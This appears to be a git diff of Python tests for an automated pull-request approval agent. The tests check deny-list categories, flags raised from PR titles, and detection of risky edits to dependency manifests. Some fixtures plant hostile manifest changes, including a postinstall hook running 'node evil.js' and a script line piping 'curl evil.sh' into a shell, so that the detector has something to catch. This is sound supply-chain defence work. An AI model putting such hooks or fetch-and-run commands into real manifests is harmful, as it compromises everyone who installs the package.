persons","migrations",id="rust-sqlx-migration",),pytest.param([".github/workflows/ci.yml"],- "chore(ci): update workflow","infra_cicd",id="github-workflow",),+ pytest.param(+ ["bin/deploy-hobby"],+ "infra_cicd",+ id="deploy-hobby-script",+ ),+ pytest.param(+ ["livestream/deploy.sh"],+ "infra_cicd",+ id="deploy-sh-script",+ ),+ pytest.param(+ [".github/pr-deploy/values.yaml.tmpl"],+ "infra_cicd",+ id="pr-deploy-directory",+ ),+ pytest.param(+ ["posthog/models/two_factor_auth.py"],+ "auth",+ id="two-factor-auth-file",+ ),pytest.param(["posthog/billing/stripe_webhook.py"],- "fix: billing webhook","billing",id="billing-file",),pytest.param(- ["package.json"],- "chore: update dependencies",+ ["pnpm-lock.yaml"],"deps_toolchain",- id="package-json",+ id="pnpm-lockfile",),pytest.param(- ["pyproject.toml"],- "chore: bump version",+ ["rust/Cargo.lock"],+ "deps_toolchain",+ id="cargo-lockfile",+ ),+ pytest.param(+ ["requirements.txt"],+ "deps_toolchain",+ id="requirements-pins-directly",+ ),+ pytest.param(+ ["common/ingestion/requirements-dev.txt"],+ "deps_toolchain",+ id="requirements-variant-pins-too",+ ),+ pytest.param(+ ["frontend/package.json", "pnpm-lock.yaml"],"deps_toolchain",- id="pyproject-toml",+ id="manifest-with-lockfile",),],)-def test_true_positive(files: list[str], subject: str, expected_category: str) -> None:- result = detect_deny_categories(files, subject)+def test_true_positive(files: list[str], expected_category: str) -> None:+ result = detect_deny_categories(files)assert expected_category in result, f"Expected '{expected_category}' in {result}"+# ── Title scrutiny flags (titles never hard-deny) ────────────────+++ "subject, expected_flags",+ [+ pytest.param("fix: oauth login redirect", ["auth"], id="auth-keywords"),+ pytest.param("fix: stripe invoice pagination", ["billing"], id="billing-keywords"),+ pytest.param("feat(subscriptions): raise hourly org cap", [], id="insight-subscription-not-billing"),+ pytest.param("chore: migrate helm chart to terraform", ["infra_cicd"], id="infra-keywords"),+ pytest.param("fix: authorized urls health check", ["auth"], id="title-only-past-participle"),+ pytest.param("fix(insights): trend legend overlap", [], id="neutral-title"),+ pytest.param("fix: authentication flow", ["auth"], id="authentication-long-form"),+ pytest.param("feat: stripe oauth billing sync", ["auth", "billing"], id="two-category-title"),+ ],+)+def test_title_scrutiny_flags(subject: str, expected_flags: list[str]) -> None:+ # Titles flag for LLM scrutiny but never deny — a title-only keyword+ # must not put the PR in T2-never (56-83% of those merged unchanged).+ assert detect_title_scrutiny_flags(subject) == expected_flags++# ── Deny-list bypass via ignored_files ───────────────────────────@@ -177,7 +261,7 @@ def test_ignored_files_bypass_deny_list() -> None:]ignored = set(files)- assert detect_deny_categories(files, "feat: add postgresql integration", ignored_files=ignored) == []+ assert detect_deny_categories(files, ignored_files=ignored) == []def test_ignored_files_does_not_bypass_other_deny_list_files() -> None:@@ -187,71 +271,56 @@ def test_ignored_files_does_not_bypass_other_deny_list_files() -> None:]ignored = {"posthog/migrations/1117_alter_integration_kind.py"}- assert detect_deny_categories(files, "feat: integration field", ignored_files=ignored) == ["migrations"]+ assert detect_deny_categories(files, ignored_files=ignored) == ["migrations"]-# ── Data warehouse source auth exemption ─────────────────────────+# ── Data warehouse connector exemption (auth + billing) ──────────@pytest.mark.parametrize(- "files, subject",+ "files, exempt_category",[pytest.param(["products/warehouse_sources/backend/temporal/data_imports/sources/stripe/auth.py"],- "fix(stripe): refresh oauth token before sync",- id="dwh-source-auth-file-and-title",- ),- pytest.param(- ["products/warehouse_sources/backend/temporal/data_imports/sources/postgres/source.py"],- "fix(postgres): treat invalid SSH tunnel auth as non-retryable",- id="dwh-source-auth-in-title-only",+ "auth",+ id="dwh-source-auth-file",),pytest.param(["products/warehouse_sources/backend/temporal/data_imports/sources/salesforce/source.py","products/warehouse_sources/backend/temporal/data_imports/sources/salesforce/settings.py",],- "fix(salesforce): treat deleted oauth credential as non-retryable",- id="dwh-source-multi-file-oauth-credential",+ "auth",+ id="dwh-source-multi-file",+ ),+ pytest.param(+ ["products/warehouse_sources/backend/temporal/data_imports/sources/stripe/stripe_billing.py"],+ "billing",+ id="dwh-source-billing-file",),],)-def test_dwh_source_auth_exempt(files: list[str], subject: str) -> None:- assert "auth" not in detect_deny_categories(files, subject)+def test_dwh_source_exempt(files: list[str], exempt_category: str) -> None:+ assert exempt_category not in detect_deny_categories(files)-def test_dwh_source_still_denies_non_auth_categories() -> None:- # Only `auth` is exempted — crypto/secrets still applies to source files.+def test_dwh_source_still_denies_non_exempt_categories() -> None:+ # Only auth/billing are exempted — crypto/secrets still applies to+ # connector files that handle stored customer API keys.files = ["products/warehouse_sources/backend/temporal/data_imports/sources/stripe/api_key_store.py"]- result = detect_deny_categories(files, "feat(stripe): rotate api key")+ result = detect_deny_categories(files)assert "auth" not in resultassert "crypto_secrets" in result- "files, subject",- [- pytest.param(- [- "products/warehouse_sources/backend/temporal/data_imports/sources/stripe/source.py",- "posthog/api/authentication.py",- ],- "fix: stripe auth and login flow",- id="dwh-source-mixed-real-auth-file",- ),- pytest.param(- [- "products/warehouse_sources/backend/temporal/data_imports/sources/stripe/source.py",- "posthog/api/foo.py",- ],- "fix: oauth login redirect",- id="dwh-source-mixed-unrelated-file-auth-title",- ),- ],-)-def test_dwh_source_mixed_still_denies(files: list[str], subject: str) -> None:- # Auth gate must still fire when any non-source file is in the change set.- assert "auth" in detect_deny_categories(files, subject)+def test_dwh_source_mixed_still_denies() -> None:+ # The exemption is per-path, not per-PR: a real auth file alongside+ # connector files must still deny.+ files = [+ "products/warehouse_sources/backend/temporal/data_imports/sources/stripe/source.py",+ "posthog/api/authentication.py",+ ]+ assert "auth" in detect_deny_categories(files)# ── Size-ceiling exemptions ──────────────────────────────────────@@ -301,3 +370,48 @@ def test_substantive_size_counts_only_non_exempt_files() -> None:assert lines == 90assert file_count == 2+++# ── Dependency manifests without a lockfile ──────────────────────+++ "files, expected",+ [+ pytest.param(+ ["frontend/package.json", "frontend/src/app.ts"],+ ["frontend/package.json"],+ id="manifest-only-flagged",+ ),+ pytest.param(+ ["frontend/package.json", "pnpm-lock.yaml"],+ [],+ id="lockfile-present-hard-denies-instead",+ ),+ pytest.param(+ ["common/esbuilder/tsconfig.json"],+ ["common/esbuilder/tsconfig.json"],+ id="tsconfig-flagged",+ ),+ pytest.param(+ ["posthog/api/insight.py"],+ [],+ id="no-manifests",+ ),+ pytest.param(+ ["frontend/package.json", "rust/Cargo.lock"],+ [],+ id="unrelated-lockfile-suppresses-flag-but-lockfile-denies",+ ),+ pytest.param(+ ["docs/some_tsconfig_notes.md"],+ [],+ id="tsconfig-substring-not-manifest",+ ),+ ],+)+def test_dependency_manifests_without_lockfile(files: list[str], expected: list[str]) -> None:+ # The deny-list no longer blocks manifest-only changes, so this helper is+ # what routes them to the reviewer's scripts/hooks guard — if it breaks,+ # a package.json scripts edit sails through with no scrutiny at all.+ assert dependency_manifests_without_lockfile(files) == expecteddiff --git a/tools/pr-approval-agent/test_manifest_risk.py b/tools/pr-approval-agent/test_manifest_risk.pynew file mode 100644index 000000000000..c41539032cd3--- /dev/null+++ b/tools/pr-approval-agent/test_manifest_risk.py@@ -0,0 +1,181 @@+"""Tests for the deterministic manifest scripts-key scan."""++import subprocess++import pytest++from manifest_risk import manifest_change_is_risky+++def _pkg(scripts: str = "", extra: str = "") -> str:+ scripts_part = f', "scripts": {{{scripts}}}' if scripts else ""+ return f'{{"name": "x", "version": "1.0.0"{scripts_part}{extra}}}'+++ "path, base, head, risky",+ [+ pytest.param(+ "frontend/package.json",+ _pkg('"test": "jest"'),+ _pkg('"test": "jest", "postinstall": "node evil.js"'),+ True,+ id="lifecycle-hook-added-inside-scripts",+ ),+ pytest.param(+ "frontend/package.json",+ _pkg('"test": "jest"'),+ _pkg('"test": "jest && curl evil.sh | sh"'),+ True,+ id="existing-script-command-edited",+ ),+ pytest.param(+ "frontend/package.json",+ _pkg('"test": "jest"'),+ _pkg('"test": "jest"').replace('"1.0.0"', '"1.0.1"'),+ False,+ id="version-bump-clean",+ ),+ pytest.param(+ "frontend/package.json",+ _pkg(),+ _pkg(extra=', "pnpm": {"onlyBuiltDependencies": ["evil"]}'),+ True,+ id="pnpm-config-added",+ ),+ pytest.param(+ "frontend/package.json",+ _pkg(),+ "{not json",+ True,+ id="unparseable-fails-closed",+ ),+ pytest.param(+ "pyproject.toml",+ "[project]\nname = 'x'\n",+ "[project]\nname = 'x'\n[project.scripts]\nx = 'pkg:main'\n",+ True,+ id="pyproject-scripts-added",+ ),+ pytest.param(+ "pyproject.toml",+ "[tool.poetry.scripts]\nx = 'a:main'\n",+ "[tool.poetry.scripts]\nx = 'b:main'\n",+ True,+ id="nested-tool-scripts-value-edited",+ ),+ pytest.param(+ "pyproject.toml",+ "[tool.ruff]\nline-length = 100\n",+ "[tool.ruff]\nline-length = 120\n",+ False,+ id="pyproject-tool-config-clean",+ ),+ pytest.param(+ "common/esbuilder/tsconfig.json",+ '{"compilerOptions": {"strict": true}}',+ '{"compilerOptions": {"strict": true}, "extends": "evil/tsconfig"}',+ True,+ id="tsconfig-extends-added",+ ),+ pytest.param(+ "common/esbuilder/tsconfig.json",+ '{"compilerOptions": {"strict": false}}',+ '{"compilerOptions": {"strict": true}}',+ False,+ id="tsconfig-option-clean",+ ),+ pytest.param("setup.py", "VERSION = '1.0'", "VERSION = '1.1'", True, id="setup-py-any-change"),+ pytest.param(+ "rust/Cargo.toml",+ '[dependencies]\nserde = "1.0"\n',+ '[dependencies]\nserde = "1.0.99"\n',+ True,+ id="cargo-dep-version-bump-fetches-in-unlocked-ci",+ ),+ pytest.param(+ "rust/Cargo.toml",+ "[features]\ndefault = []\n",+ '[features]\ndefault = ["optional-dep"]\n',+ True,+ id="cargo-feature-toggles-optional-dep",+ ),+ pytest.param(+ "rust/Cargo.toml",+ '[package]\nname = "x"\nversion = "1.0.0"\n',+ '[package]\nname = "x"\nversion = "1.0.1"\n',+ False,+ id="cargo-own-version-bump-clean",+ ),+ pytest.param(+ "rust/Cargo.toml",+ '[package]\nname = "x"\n',+ '[package]\nname = "x"\nbuild = "build.rs"\n',+ True,+ id="cargo-build-script-added",+ ),+ pytest.param("posthog/api/insight.py", "a", "b", False, id="non-manifest-never-risky"),+ ],+)+def test_manifest_change_is_risky_structural(path: str, base: str, head: str, risky: bool) -> None:+ # Both reviewer bots demonstrated the line-scan bypass: editing an+ # existing script's command diffs as a line keyed by the script's own+ # name, so only a structural compare of the risky subtrees catches it.+ # Over-matching matters too - version bumps hard-denying would undo the+ # manifest calibration entirely.+ assert manifest_change_is_risky(path, base, head, diff_text="") is risky+++ "path, diff_line, risky",+ [+ pytest.param("go.mod", "+replace example.com/x => ../local", True, id="go-mod-replace"),+ pytest.param("go.mod", "+require example.com/x v1.2.3", False, id="go-mod-require-clean"),+ ],+)+def test_line_scan_families(path: str, diff_line: str, risky: bool) -> None:+ # go.mod keeps the line scan: key and value share a line, and a require+ # bump without go.sum fails CI deterministically (-mod=readonly), so only+ # replace directives are silent-fetch risks.+ diff = f"--- a/{path}\n+++ b/{path}\n@@ -1,3 +1,3 @@\n context\n{diff_line}\n"+ assert manifest_change_is_risky(path, "irrelevant", "irrelevant2", diff) is risky+++def test_tsconfig_jsonc_falls_back_to_line_scan() -> None:+ # tsconfig is often JSONC; failing closed on comments would hard-deny+ # every commented tsconfig edit and undo the calibration.+ jsonc = '{\n // comment\n "compilerOptions": {"strict": true},\n}'+ clean_diff = '--- a/tsconfig.json\n+++ b/tsconfig.json\n@@\n+ "strict": true,\n'+ risky_diff = '--- a/tsconfig.json\n+++ b/tsconfig.json\n@@\n+ "extends": "evil",\n'+ assert manifest_change_is_risky("tsconfig.json", jsonc, jsonc + " ", clean_diff) is False+ assert manifest_change_is_risky("tsconfig.json", jsonc, jsonc + " ", risky_diff) is True+++def test_wrapper_anchors_at_merge_base_not_base_tip(tmp_path) -> None:+ # Regression from review: comparing against the base branch *tip* counts+ # base-side drift (someone else's scripts change landing on the base) as+ # this PR's doing and falsely denies a clean manifest edit.+ from manifest_risk import manifest_script_changes++ def run(*args: str) -> str:+ result = subprocess.run(["git", *args], capture_output=True, text=True, cwd=tmp_path, check=True)+ return result.stdout.strip()++ run("init", "-q", "-b", "main")+ run("config", "user.email", "t@t")+ run("config", "user.name", "t")+ (tmp_path / "package.json").write_text('{"name": "x", "version": "1.0.0"}')+ run("add", ".")+ run("commit", "-qm", "root")++ run("checkout", "-qb", "feature")+ (tmp_path / "package.json").write_text('{"name": "x", "version": "1.0.1"}')+ run("commit", "-qam", "version bump only")+ head = run("rev-parse", "HEAD")++ run("checkout", "-q", "main")+ (tmp_path / "package.json").write_text('{"name": "x", "version": "1.0.0", "scripts": {"evil": "x"}}')+ run("commit", "-qam", "base-side scripts change")+ base_tip = run("rev-parse", "HEAD")++ assert manifest_script_changes(["package.json"], base_tip, head, tmp_path) == []diff --git a/tools/pr-approval-agent/test_review_pr.py b/tools/pr-approval-agent/test_review_pr.pyindex d7d10680b9d0..fa7849f26c3d 100644--- a/tools/pr-approval-agent/test_review_pr.py+++ b/tools/pr-approval-agent/test_review_pr.py@@ -250,6 +250,87 @@ def test_persistent_bot_eyes_yields_wait_not_refuse(monkeypatch: pytest.MonkeyPaassert output["final_verdict"] == "WAIT"+ "manifest",+ [+ pytest.param("frontend/package.json", id="package-json"),+ pytest.param("common/esbuilder/tsconfig.json", id="tsconfig"),+ pytest.param("setup.cfg", id="setup-cfg"),+ ],+)+def test_dep_manifest_pr_gets_t1_scrutiny_not_t0(monkeypatch: pytest.MonkeyPatch, manifest: str) -> None:+ # Manifests are .json/.cfg so the allow-list would classify them T0 and+ # skip the reviewer entirely — making the scripts/hooks REFUSE guard dead+ # code for exactly the files it exists to check. They must land T1.+ monkeypatch.setattr(review_pr, "_POSTHOG_AVAILABLE", False)+ monkeypatch.setattr(review_pr, "manifest_script_changes", lambda *a: [])++ pipeline = Pipeline(pr_number=1, repo="PostHog/posthog")+ pr = _fake_pr(head_sha="abc123")+ pr.files = [{"filename": manifest, "additions": 2, "deletions": 1, "status": "M"}]+ pipeline.pr = pr++ pipeline._classify()++ assert pipeline.classification["tier"] == "T1-agent"+ assert pipeline.classification["dep_manifests_without_lockfile"] == [manifest]+++def test_manifest_scripts_edit_hard_denies(monkeypatch: pytest.MonkeyPatch) -> None:+ # The deterministic scan is the first line against scripts/hook edits —+ # when it fires, the PR must land T2-never rather than the LLM-only path.+ monkeypatch.setattr(review_pr, "_POSTHOG_AVAILABLE", False)+ monkeypatch.setattr(review_pr, "manifest_script_changes", lambda paths, *a: list(paths))++ pipeline = Pipeline(pr_number=1, repo="PostHog/posthog")+ pr = _fake_pr(head_sha="abc123")+ pr.files = [{"filename": "frontend/package.json", "additions": 2, "deletions": 1, "status": "M"}]+ pipeline.pr = pr++ pipeline._classify()++ assert pipeline.classification["tier"] == "T2-never"+ assert "deps_toolchain" in pipeline.classification["deny_categories"]+ assert pipeline.classification["manifest_script_changes"] == ["frontend/package.json"]+++ "files, expected_flags",+ [+ pytest.param(+ ["products/warehouse_sources/backend/temporal/data_imports/sources/stripe/auth.py"],+ [],+ id="connector-only-pr-not-flagged",+ ),+ pytest.param(+ [+ "products/warehouse_sources/backend/temporal/data_imports/sources/stripe/auth.py",+ "posthog/api/foo.py",+ ],+ ["auth", "billing"],+ id="mixed-pr-keeps-flags",+ ),+ ],+)+def test_title_flags_respect_exempt_paths(+ monkeypatch: pytest.MonkeyPatch, files: list[str], expected_flags: list[str]+) -> None:+ # A connector-only PR legitimately says "stripe"/"oauth" in its title;+ # flagging it re-creates the friction the connector path exemption+ # exists to remove.+ monkeypatch.setattr(review_pr, "_POSTHOG_AVAILABLE", False)++ pipeline = Pipeline(pr_number=1, repo="PostHog/posthog")+ pr = _fake_pr(head_sha="abc123")+ pr.title = "fix(stripe): refresh oauth token before sync"+ pr.files = [{"filename": f, "additions": 2, "deletions": 1, "status": "M"} for f in files]+ pipeline.pr = pr++ pipeline._classify()++ assert pipeline.classification["title_scrutiny_flags"] == expected_flags++def test_gate_denied_pr_skips_the_wait(monkeypatch: pytest.MonkeyPatch) -> None:# A deny-listed PR can't be approved over an in-flight review, so waiting# 5 minutes before the inevitable REFUSE is pure runner cost.